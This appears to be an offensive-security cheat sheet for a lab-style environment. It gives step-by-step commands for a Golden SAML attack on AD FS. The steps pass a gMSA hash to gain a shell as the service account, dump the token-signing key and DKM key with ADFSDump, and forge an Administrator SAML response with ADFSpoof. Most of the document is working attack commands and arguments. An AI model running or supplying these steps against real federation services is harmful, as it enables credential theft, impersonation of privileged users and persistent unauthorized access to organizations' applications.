ADFSDump & ADFSpoof
Golden SAML: ADFS (Active Directory Federation Services) signs SAML assertions with a token-signing key stored, encrypted, in the ADFS config database. Possession of the signing key can allow forged assertions for applications that trust that issuer. Acceptance still depends on the relying party’s claims, audience, recipient, validity checks and access policy; a valid signature alone does not guarantee login or MFA bypass. You need code execution as the ADFS service account (frequently a gMSA like adfs_gmsa$).
0. Become the ADFS service account
# read the gMSA managed password (if you have rights), then PtH into it
netexec ldap dc01.domain.htb -u user -p pass --gmsa
netexec winrm dc01.domain.htb -u 'adfs_gmsa$' -H '<NThash>'
evil-winrm -i dc01.domain.htb -u 'adfs_gmsa$' -H '<NThash>'
See gMSA password extraction for the read step.
1. ADFSDump — pull the signing key + config
Run on the ADFS server, in a shell as the ADFS service account (it talks to the Windows Internal Database / config DB):
*Evil-WinRM* PS> upload ADFSDump.exe
*Evil-WinRM* PS> .\ADFSDump.exe
It prints three things you need:
- DKM key from Active Directory: symmetric key material used to decrypt the signing-key container.
- EncryptedPFX from the configuration database: encrypted certificate/private-key container.
- Config values:
issuer/ identifier, relying-party identifiers, endpoints.
Copy those out of the session to your box.
2. Reassemble the key material locally
# the printed DKM key hex -> raw bytes
echo "8D-AC-A4-90-...-A1" | tr -d '-' | xxd -r -p | tee dkm_key.bin | xxd
# the base64 encrypted signing key -> binary
echo "AAAAAQAAAA...N/BEsNEUSTXxm" | base64 -d > encrypted_token_signing_key.bin
3. ADFSpoof — forge the SAML response
git clone https://github.com/mandiant/ADFSpoof && cd ADFSpoof
pip install -r requirements.txt
python ADFSpoof.py \
-b encrypted_token_signing_key.bin dkm_key.bin \
-s core.domain.htb \
saml2 \
--endpoint 'https://core.domain.htb:8443/adfs/saml/postResponse' \
--nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' \
--nameid 'Administrator@domain.htb' \
--rpidentifier 'https://core.domain.htb:8443' \
--assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@domain.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
| Arg | Meaning |
|---|---|
-b PFX DKM | encrypted PFX bytes first, DKM decryption-key bytes second |
-s SERVER | ADFS server/service name (the issuer) |
saml2 | module: emit a SAML 2.0 response (other modules include o365, dropbox and dump) |
--endpoint | relying-party ACS URL the assertion POSTs to |
--nameid / --nameidformat | the user you’re impersonating |
--rpidentifier | relying-party identifier (audience) |
--assertions | extra claim XML (UPN / CommonName that the app keys off) |
The output is a base64 SAML response — POST it to the relying party’s postResponse/ACS endpoint (Burp Repeater, or paste into the SAML form) to land an authenticated session as that user.
[!tip] Where the values come from
ADFSDumpprints the exactissuer, relying-party identifiers and endpoints — don’t invent them. Match-s,--endpoint, and--rpidentifierto what it reported, or the relying party rejects the audience/signature.
[!warning] Watch out
- Clock & validity window — a forged assertion has
NotBefore/NotOnOrAfter; a skewed attacker clock produces an already-expired token. Sync time.- Right key, right encoding — the signing key must be reassembled byte-exact (
xxd -r -pfor hex,base64 -dfor base64). A single wrong byte = invalid signature = silent reject.- Cert rotation kills it — rotating the ADFS token-signing certificate invalidates the golden SAML; this is persistence with a shelf life.
- .NET build — ADFSDump is a C# exe; compile from source or use a trusted release, and run it only on the ADFS host.
Check the account, application and result
On the AD FS host, identify the service account before attempting a connection:
Get-CimInstance Win32_Service -Filter "Name='adfssrv'" | Select-Object Name, StartName, State
Reading a gMSA password does not automatically grant that account WinRM logon rights. If remote logon is denied, establish the correct service context through an already available administrative session. Check the dump’s database connection options when the deployment uses SQL rather than WID.
Use an isolated Python environment for ADFSpoof. -b expects binary files, not printable base64/hex; the DKM key is not the RSA private key. Match the issuer and claim rules to the actual application, and keep the original session’s RelayState when the application requires it.
Success: the relying party creates a session for the intended test identity. Save the request/response and effective account, with the token and key material redacted. An HTTP 200 containing a SAML error is a failed login.
See Also
- gMSA password extraction — getting the ADFS service-account hash.
- Evil-WinRM — the shell you upload/run ADFSDump from.
- Golden Ticket — the Kerberos analogue of this forge-a-token-with-a-stolen-key idea.